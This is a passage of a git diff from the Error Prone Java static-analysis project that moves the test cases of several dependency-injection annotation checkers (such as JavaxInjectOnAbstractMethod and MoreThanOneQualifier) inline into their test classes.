Goldfeder) + */ +public class InvalidTargetingOnScopingAnnotationNegativeCases { + + /** A scoping annotation with no specified target. */ + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation1 {} + + /** A scoping annotation that contains more than the required */ + @Target({TYPE, METHOD, PARAMETER}) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation2 {} + + /** A scoping annotation with legal targeting. */ + @Target({TYPE, METHOD}) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation3 {} + + /** + * A non-scoping annotation with targeting that would be illegal if it were a scoping annotation. + */ + @Target(PARAMETER) + @Retention(RUNTIME) + public @interface TestAnnotation4 {} +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnAbstractMethodTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnAbstractMethodTest.java index 97cfff4fe67..98165d4c82d 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnAbstractMethodTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnAbstractMethodTest.java @@ -33,14 +33,129 @@ public class JavaxInjectOnAbstractMethodTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/JavaxInjectOnAbstractMethodPositiveCases.java") + .addSourceLines( + "JavaxInjectOnAbstractMethodPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class JavaxInjectOnAbstractMethodPositiveCases { + + /** Abstract class has an injectable(javax.inject.Inject) abstract method. */ + public abstract class TestClass1 { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + abstract void abstractMethod(); + } + + /** + * Abstract class has an injectable(javax.inject.Inject) abstract method and an unrelated concrete + * method. + */ + public abstract class TestClass2 { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + abstract void abstractMethod(); + + public void foo() {} + } + + /** + * Abstract class has an injectable(javax.inject.Inject) abstract method and an unrelated abstract + * method. + */ + public abstract class TestClass3 { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + abstract void abstractMethod1(); + + abstract void abstractMethod2(); + } + + /** Interface with Inject method, should also fail. */ + public interface TestInterface { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + void abstractMethod(); + } + + /** Concrete Implementer of interface. */ + public class Implementing implements TestInterface { + // No error here + public void abstractMethod() {} + } + + /** Abstract implementer of interface. */ + public abstract class AbstractImplementing implements TestInterface { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + public abstract void abstractMethod(); + } + + interface HasDefault { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + default void foo() {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/JavaxInjectOnAbstractMethodNegativeCases.java") + .addSourceLines( + "JavaxInjectOnAbstractMethodNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import javax.inject.Inject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class JavaxInjectOnAbstractMethodNegativeCases { + + /** Concrete class has no methods or annotations. */ + public class TestClass1 {} + + /** Abstract class has a single abstract method with no annotation. */ + public abstract class TestClass2 { + abstract void abstractMethod(); + } + + /** Concrete class has an injectable method. */ + public class TestClass3 { + @Inject + public void foo() {} + } + + /** Abstract class has an injectable concrete method. */ + public abstract class TestClass4 { + abstract void abstractMethod(); + + @Inject + public void concreteMethod() {} + } + + /** + * Abstract class has an com.google.inject.Inject abstract method (This is allowed; Injecting + * abstract methods is only forbidden with javax.inject.Inject). + */ + public abstract class TestClass5 { + @com.google.inject.Inject + abstract void abstractMethod(); + } + + /** Abstract class has an injectable(javax.inject.Inject) abstract method. Error is suppressed. */ + public abstract class TestClass6 { + @SuppressWarnings("JavaxInjectOnAbstractMethod") + @javax.inject.Inject + abstract void abstractMethod(); + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnFinalFieldTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnFinalFieldTest.java index d46241f9d9b..561476448fc 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnFinalFieldTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnFinalFieldTest.java @@ -31,11 +31,65 @@ public class JavaxInjectOnFinalFieldTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/JavaxInjectOnFinalFieldPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "JavaxInjectOnFinalFieldPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import javax.inject.Inject; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class JavaxInjectOnFinalFieldPositiveCases { + + /** + * Class has a final injectable(javax.inject.Inject) field. + */ + public class TestClass1 { + // BUG: Diagnostic contains: remove + @Inject + public final int n = 0; + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/JavaxInjectOnFinalFieldNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "JavaxInjectOnFinalFieldNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import javax.inject.Inject; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class JavaxInjectOnFinalFieldNegativeCases { + + /** Class has no final fields or @Inject annotations. */ + public class TestClass1 {} + + /** Class has a final field that is not injectable. */ + public class TestClass2 { + public final int n = 0; + } + + /** Class has an injectable(javax.inject.Inject) field that is not final. */ + public class TestClass3 { + @Inject public int n; + } + + /** Class has an injectable(javax.inject.Inject), final method. */ + public class TestClass4 { + @Inject + final void method() {} + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MissingRuntimeRetentionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MissingRuntimeRetentionTest.java index db0b33651dd..0b7daeb5dc6 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MissingRuntimeRetentionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MissingRuntimeRetentionTest.java @@ -37,12 +37,139 @@ public class MissingRuntimeRetentionTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/MissingRuntimeRetentionPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "MissingRuntimeRetentionPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import static java.lang.annotation.ElementType.METHOD; + import static java.lang.annotation.ElementType.TYPE; + import static java.lang.annotation.RetentionPolicy.SOURCE; + + import com.google.inject.BindingAnnotation; + import com.google.inject.ScopeAnnotation; + import java.lang.annotation.Retention; + import java.lang.annotation.Target; + import javax.inject.Qualifier; + import javax.inject.Scope; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class MissingRuntimeRetentionPositiveCases { + /** A scoping (@Scope) annotation with SOURCE retention */ + @Scope + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + @Retention(SOURCE) + public @interface TestAnnotation1 {} + + /** A scoping (@ScopingAnnotation) annotation with SOURCE retention. */ + @ScopeAnnotation + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + @Retention(SOURCE) + public @interface TestAnnotation2 {} + + /** A qualifier (@Qualifier) annotation with SOURCE retention. */ + @Qualifier + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + @Retention(SOURCE) + public @interface TestAnnotation3 {} + + /** A qualifier (@BindingAnnotation) annotation with SOURCE retention. */ + @BindingAnnotation + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + @Retention(SOURCE) + public @interface TestAnnotation4 {} + + /** A qualifier annotation with default retention. */ + @BindingAnnotation + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + public @interface TestAnnotation5 {} + + /** A dagger map key annotation with default retention. */ + @dagger.MapKey + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + public @interface TestAnnotation6 {} + + /** A Guice map key annotation with default retention. */ + @com.google.inject.multibindings.MapKey + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + public @interface TestAnnotation7 {} + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/MissingRuntimeRetentionNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "MissingRuntimeRetentionNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import static java.lang.annotation.ElementType.METHOD; + import static java.lang.annotation.ElementType.TYPE; + import static java.lang.annotation.RetentionPolicy.RUNTIME; + import static java.lang.annotation.RetentionPolicy.SOURCE; + + import com.google.inject.BindingAnnotation; + import com.google.inject.ScopeAnnotation; + import java.lang.annotation.Retention; + import java.lang.annotation.Target; + import javax.inject.Qualifier; + import javax.inject.Scope; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class MissingRuntimeRetentionNegativeCases { + /** A scoping (@Scope) annotation with runtime retention */ + @Scope + @Target({TYPE, METHOD}) + @Retention(RUNTIME) + public @interface TestAnnotation1 {} + + /** A scoping (@ScopingAnnotation) annotation with runtime retention. */ + @ScopeAnnotation + @Target({TYPE, METHOD}) + @Retention(RUNTIME) + public @interface TestAnnotation2 {} + + /** A qualifier (@Qualifier) annotation with runtime retention. */ + @Qualifier + @Target({TYPE, METHOD}) + @Retention(RUNTIME) + public @interface TestAnnotation3 {} + + /** A qualifier (@BindingAnnotation) annotation with runtime retention. */ + @BindingAnnotation + @Target({TYPE, METHOD}) + @Retention(RUNTIME) + public @interface TestAnnotation4 {} + + /** A non-qualifier, non-scoping annotation without runtime retention. */ + @Retention(SOURCE) + public @interface TestAnnotation5 {} + + /** A dagger map key annotation. */ + @dagger.MapKey + @Retention(RUNTIME) + public @interface TestAnnotation6 {} + + /** A Guice map key annotation. */ + @com.google.inject.multibindings.MapKey + @Retention(RUNTIME) + public @interface TestAnnotation7 {} + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneInjectableConstructorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneInjectableConstructorTest.java index 5f2c82ae0a1..39d90192e69 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneInjectableConstructorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneInjectableConstructorTest.java @@ -33,14 +33,146 @@ public class MoreThanOneInjectableConstructorTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/MoreThanOneInjectableConstructorPositiveCases.java") + .addSourceLines( + "MoreThanOneInjectableConstructorPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.Inject; +import java.beans.ConstructorProperties; + +/** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ +public class MoreThanOneInjectableConstructorPositiveCases { + + /** Class has 2 constructors, both are injectable */ + // BUG: Diagnostic contains: MoreThanOneInjectableConstructor + public class TestClass1 { + @Inject + public TestClass1() {} + + @Inject + public TestClass1(int n) {} + } + + /** Class has 3 constructors, two of which are injectable. */ + // BUG: Diagnostic contains: MoreThanOneInjectableConstructor + public class TestClass2 { + @Inject + public TestClass2() {} + + public TestClass2(int n) {} + + @Inject + public TestClass2(String s) {} + } + + /** + * testing that the error appears on the @Inject annotation even in the presence of other + * annotations + */ + // BUG: Diagnostic contains: MoreThanOneInjectableConstructor + public class TestClass3 { + @Inject + public TestClass3() {} + + @Inject + @ConstructorProperties({"m", "n"}) + public TestClass3(int m, int n) {} + } + + /** Fails on 3 constructors w/ @Inject */ + // BUG: Diagnostic contains: MoreThanOneInjectableConstructor + public class TestClass4 { + @Inject + public TestClass4() {} + + @Inject + public TestClass4(int m, int n) {} + + @Inject + public TestClass4(int m, int n, boolean x) {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/MoreThanOneInjectableConstructorNegativeCases.java") + .addSourceLines( + "MoreThanOneInjectableConstructorNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.Inject; + +/** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ +public class MoreThanOneInjectableConstructorNegativeCases { + + /** Class has a single non-injectable constructor. */ + public class TestClass1 { + public TestClass1() {} + } + + /** Class has a single injectable constructor. */ + public class TestClass2 { + @Inject + public TestClass2() {} + } + + /** Class has two constructors, one of which is injectable. */ + public class TestClass3 { + @Inject + public TestClass3() {} + + public TestClass3(int n) {} + } + + /** Class has two constructors, one of which is injectable. Class also has an injectable field. */ + public class TestClass4 { + + @Inject String x; + + @Inject + public TestClass4() {} + + public TestClass4(int n) {} + } + + /** Class has 2 constructors, both are injectable. Error is suppressed. */ + @SuppressWarnings("MoreThanOneInjectableConstructor") + public class TestClass5 { + @Inject + public TestClass5() {} + + @Inject + public TestClass5(int n) {} + } + + /** Suppressed class */ + @SuppressWarnings("inject-constructors") + public class TestClass6 { + @Inject + public TestClass6() {} + + @Inject + public TestClass6(int n) {} + } + + /** Suppressed class */ + @SuppressWarnings("InjectMultipleAtInjectConstructors") + public class TestClass7 { + @Inject + public TestClass7() {} + + @Inject + public TestClass7(int n) {} + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneQualifierTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneQualifierTest.java index 5f469c9fd49..b3fe88213cc 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneQualifierTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneQualifierTest.java @@ -32,11 +32,208 @@ public class MoreThanOneQualifierTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/MoreThanOneQualifierPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "MoreThanOneQualifierPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import static java.lang.annotation.RetentionPolicy.RUNTIME; + +import com.google.inject.BindingAnnotation; +import java.lang.annotation.Retention; +import javax.inject.Qualifier; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class MoreThanOneQualifierPositiveCases { + + /** + * A class in which the class, a constructor, a field, a method, and a method parameter each have + * two com.google.inject.BindingAnnotation annotations. + */ + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Foo2 + public class TestClass1 { + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Foo2 + private int n; + + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Foo2 + public TestClass1() {} + + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Foo2 + public void setN( + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Foo2 + int n) {} + } + + /** + * A class in which the class, a constructor, a field, a method, and a method parameter each have + * two javax.inject.Qualifier annotations. + */ + + // BUG: Diagnostic contains: remove + @Bar1 + // BUG: Diagnostic contains: remove + @Bar2 + public class TestClass2 { + // BUG: Diagnostic contains: remove + @Bar1 + // BUG: Diagnostic contains: remove + @Bar2 + private int n; + + // BUG: Diagnostic contains: remove + @Bar1 + // BUG: Diagnostic contains: remove + @Bar2 + public TestClass2() {} + + // BUG: Diagnostic contains: remove + @Bar1 + // BUG: Diagnostic contains: remove + @Bar2 + public void setN( + // BUG: Diagnostic contains: remove + @Bar1 + // BUG: Diagnostic contains: remove + @Bar2 + int n) {} + } + + /** + * A class in which the class, a constructor, a field, a method, and a method parameter each have + * one javax.inject.Qualifier annotation and one com.google.inject.BindingAnnotation annotation. + */ + + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Bar1 + public class TestClass3 { + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Bar1 + private int n; + + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Bar1 + public TestClass3() {} + + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Bar1 + public void setN( + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Bar1 + int n) {} + } + + @Qualifier + @Retention(RUNTIME) + public @interface Foo1 {} + + @Qualifier + @Retention(RUNTIME) + public @interface Foo2 {} + + @BindingAnnotation + @Retention(RUNTIME) + public @interface Bar1 {} + + @BindingAnnotation + @Retention(RUNTIME) + public @interface Bar2 {} +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/MoreThanOneQualifierNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "MoreThanOneQualifierNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import static java.lang.annotation.RetentionPolicy.RUNTIME; + +import com.google.inject.BindingAnnotation; +import java.lang.annotation.Retention; +import javax.inject.Qualifier; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class MoreThanOneQualifierNegativeCases { + /** A class in with no annotations on any of its members. */ + public class TestClass1 { + private int n; + + public TestClass1() {} + + public void setN(int n) {} + } + + /** + * A class in which a single javax.inject.Qualifier annotation is on the class, on a constructor, + * on a field, on a method, and on a method parameter. + */ + @Foo + public class TestClass2 { + @Foo private int n; + + @Foo + public TestClass2() {} + + @Foo + public void setN(@Foo int n) {} + } + + /** + * A class in which a single com.google.inject.BindingAnnotation annotation is on the class, on a + * constructor, on a field, on a method, and on a method parameter. + */ + @Bar + public class TestClass3 { + @Bar private int n; + + @Bar + public TestClass3() {} + + @Bar + public void setN(@Bar int n) {} + } + + @Qualifier + @Retention(RUNTIME) + public @interface Foo {} + + @BindingAnnotation + @Retention(RUNTIME) + public @interface Bar {} +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneScopeAnnotationOnClassTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneScopeAnnotationOnClassTest.java index 2773fb358cf..c95f88568f9 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneScopeAnnotationOnClassTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneScopeAnnotationOnClassTest.java @@ -32,14 +32,120 @@ public class MoreThanOneScopeAnnotationOnClassTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/MoreThanOneScopeAnnotationOnClassPositiveCases.java") + .addSourceLines( + "MoreThanOneScopeAnnotationOnClassPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.Singleton; + import com.google.inject.servlet.SessionScoped; + import javax.inject.Scope; + + /** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ + public class MoreThanOneScopeAnnotationOnClassPositiveCases { + + /** Class has two scope annotations */ + @Singleton + @SessionScoped + // BUG: Diagnostic contains: + class TestClass1 {} + + /** Class has three annotations, two of which are scope annotations. */ + @Singleton + @SuppressWarnings("foo") + @SessionScoped + // BUG: Diagnostic contains: + class TestClass2 {} + + @Scope + @interface CustomScope {} + + @Singleton + @CustomScope + @SessionScoped + // BUG: Diagnostic contains: + class TestClass3 {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/MoreThanOneScopeAnnotationOnClassNegativeCases.java") + .addSourceLines( + "MoreThanOneScopeAnnotationOnClassNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.Provides; +import com.google.inject.Singleton; +import com.google.inject.servlet.SessionScoped; +import dagger.Component; +import dagger.Subcomponent; +import dagger.producers.ProductionComponent; +import dagger.producers.ProductionSubcomponent; + +/** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ +public class MoreThanOneScopeAnnotationOnClassNegativeCases { + + /** Class has no annotation. */ + public class TestClass1 {} + /** Class has a single non scoping annotation. */ + @SuppressWarnings("foo") + public class TestClass2 {} + + /** Class hasa single scoping annotation. */ + @Singleton + public class TestClass3 {} + + /** Class has two annotations, one of which is a scoping annotation. */ + @Singleton + @SuppressWarnings("foo") + public class TestClass4 {} + + /** + * Class has two annotations, one of which is a scoping annotation. Class also has a method with a + * scoping annotation. + */ + @SuppressWarnings("foo") + public class TestClass5 { + @Singleton + @Provides + public void foo() {} + } + + /** Class has two scoped annotations, but is a Dagger component */ + @Singleton + @SessionScoped + @Component + public class DaggerComponent {} + + /** Class has two scoped annotations, but is a Dagger subcomponent */ + @Singleton + @SessionScoped + @Subcomponent + public class DaggerSubcomponent {} + + /** Class has two scoped annotations, but is a Dagger component */ + @Singleton + @SessionScoped + @ProductionComponent + public class DaggerProductionComponent {} + + /** Class has two scoped annotations, but is a Dagger subcomponent */ + @Singleton + @SessionScoped + @ProductionSubcomponent + public class DaggerProductionSubcomponent {} + + /** Suppression through secondary name */ + @SuppressWarnings("MoreThanOneScopeAnnotationOnClass") + public class TestClass6 {} +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/OverlappingQualifierAndScopeAnnotationTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/OverlappingQualifierAndScopeAnnotationTest.java index be742c055c8..85f3fd57009 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/OverlappingQualifierAndScopeAnnotationTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/OverlappingQualifierAndScopeAnnotationTest.java @@ -33,14 +33,85 @@ public class OverlappingQualifierAndScopeAnnotationTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/OverlappingQualifierAndScopeAnnotationPositiveCases.java") + .addSourceLines( + "OverlappingQualifierAndScopeAnnotationPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class OverlappingQualifierAndScopeAnnotationPositiveCases { + + @javax.inject.Scope + @javax.inject.Qualifier + // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation + @interface JavaxScopeAndJavaxQualifier {} + + @com.google.inject.ScopeAnnotation + @javax.inject.Qualifier + // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation + @interface GuiceScopeAndJavaxQualifier {} + + @com.google.inject.ScopeAnnotation + @com.google.inject.BindingAnnotation + // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation + @interface GuiceScopeAndGuiceBindingAnnotation {} + + @javax.inject.Scope + @com.google.inject.BindingAnnotation + // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation + @interface JavaxScopeAndGuiceBindingAnnotation {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/OverlappingQualifierAndScopeAnnotationNegativeCases.java") + .addSourceLines( + "OverlappingQualifierAndScopeAnnotationNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class OverlappingQualifierAndScopeAnnotationNegativeCases { + + @javax.inject.Scope + @interface MyJavaxScope {} + + @com.google.inject.ScopeAnnotation + @interface MyGuiceScope {} + + @javax.inject.Qualifier + @interface MyJavaxQualifier {} + + @com.google.inject.BindingAnnotation + @interface MyGuiceBindingAnnotation {} + + // suppression tests + @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") + @javax.inject.Scope + @javax.inject.Qualifier + @interface JavaxScopeAndJavaxQualifier {} + + @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") + @com.google.inject.ScopeAnnotation + @javax.inject.Qualifier + @interface GuiceScopeAndJavaxQualifier {} + + @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") + @com.google.inject.ScopeAnnotation + @com.google.inject.BindingAnnotation + @interface GuiceScopeAndGuiceBindingAnnotation {} + + @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") + @javax.inject.Scope + @com.google.inject.BindingAnnotation + @interface JavaxScopeAndGuiceBindingAnnotation {} + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/QualifierWithTypeUseTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/QualifierWithTypeUseTest.java index f106e013eeb..37aae2df01b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/QualifierWithTypeUseTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/QualifierWithTypeUseTest.java @@ -32,11 +32,70 @@ public class QualifierWithTypeUseTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/QualifierWithTypeUsePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "QualifierWithTypeUsePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.BindingAnnotation; + import java.lang.annotation.ElementType; + import java.lang.annotation.Target; + import javax.inject.Qualifier; + + /** Tests for {@code QualifierWithTypeUse} */ + public class QualifierWithTypeUsePositiveCases { + + @Qualifier + // BUG: Diagnostic contains: @Target({CONSTRUCTOR}) + @Target({ElementType.TYPE_USE, ElementType.CONSTRUCTOR}) + @interface Qualifier1 {} + + @Qualifier + // BUG: Diagnostic contains: remove + @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) + @interface Qualifier2 {} + + @BindingAnnotation + // BUG: Diagnostic contains: @Target({FIELD}) + @Target({ElementType.FIELD, ElementType.TYPE_USE}) + @interface BindingAnnotation1 {} + + @BindingAnnotation + // BUG: Diagnostic contains: remove + @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) + @interface BindingAnnotation2 {} + + @BindingAnnotation + // BUG: Diagnostic contains: remove + @Target(ElementType.TYPE_USE) + @interface BindingAnnotation3 {} + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/QualifierWithTypeUseNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "QualifierWithTypeUseNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import java.lang.annotation.ElementType; + import java.lang.annotation.Target; + import javax.inject.Qualifier; + + /** Tests for {@code QualifierWithTypeUse} */ + public class QualifierWithTypeUseNegativeCases { + + @Qualifier + @Target({ElementType.CONSTRUCTOR}) + @interface Qualifier1 {} + + @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) + @interface NotAQualifier {} + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/ScopeAnnotationOnInterfaceOrAbstractClassTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/ScopeAnnotationOnInterfaceOrAbstractClassTest.java index 814af46d419..2929c632eb0 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/ScopeAnnotationOnInterfaceOrAbstractClassTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/ScopeAnnotationOnInterfaceOrAbstractClassTest.java @@ -34,14 +34,82 @@ public class ScopeAnnotationOnInterfaceOrAbstractClassTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java") + .addSourceLines( + "ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.Singleton; + +/** + * Positive test cases in which a scoping annotation is put on an interface or anabstract class. The + * suggested fix is to remove the scoping annotation. + * + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases { + + /** An abstract class that has scoping annotation. */ + // BUG: Diagnostic contains: remove + @Singleton + public abstract class TestClass1 {} + + /** An interface interface has scoping annotation. */ + // BUG: Diagnostic contains: remove + @Singleton + public interface TestClass2 {} +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java") + .addSourceLines( + "ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.Singleton; + import dagger.Component; + import dagger.Subcomponent; + import javax.inject.Scope; + + /** + * Negative test cases in which scoping annotations are used correctly. + * + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases { + + /** A concrete class that has no scoping annotation. */ + public class TestClass1 {} + + /** An abstract class that has no scoping annotation. */ + public abstract class TestClass2 {} + + /** An interface that has no scoping annotation. */ + public interface TestClass3 {} + + /** A concrete class that has scoping annotation. */ + @Singleton + public class TestClass4 {} + + @Scope + @interface CustomScope {} + + /** A concrete class that has a custom annotation. */ + @CustomScope + public class ClassWithCustomScope {} + + @Component + @Singleton + interface DaggerInterfaceComponent { + @Subcomponent + @CustomScope + abstract class DaggerAbstractClassSubcomponent {} + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/AndroidInjectionBeforeSuperTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/AndroidInjectionBeforeSuperTest.java index 7c29e43287a..e0270ea3b43 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/AndroidInjectionBeforeSuperTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/AndroidInjectionBeforeSuperTest.java @@ -27,27 +27,269 @@ public final class AndroidInjectionBeforeSuperTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(AndroidInjectionBeforeSuper.class, getClass()) - .addSourceFile("testdata/stubs/android/app/Activity.java") - .addSourceFile("testdata/stubs/android/app/Fragment.java") - 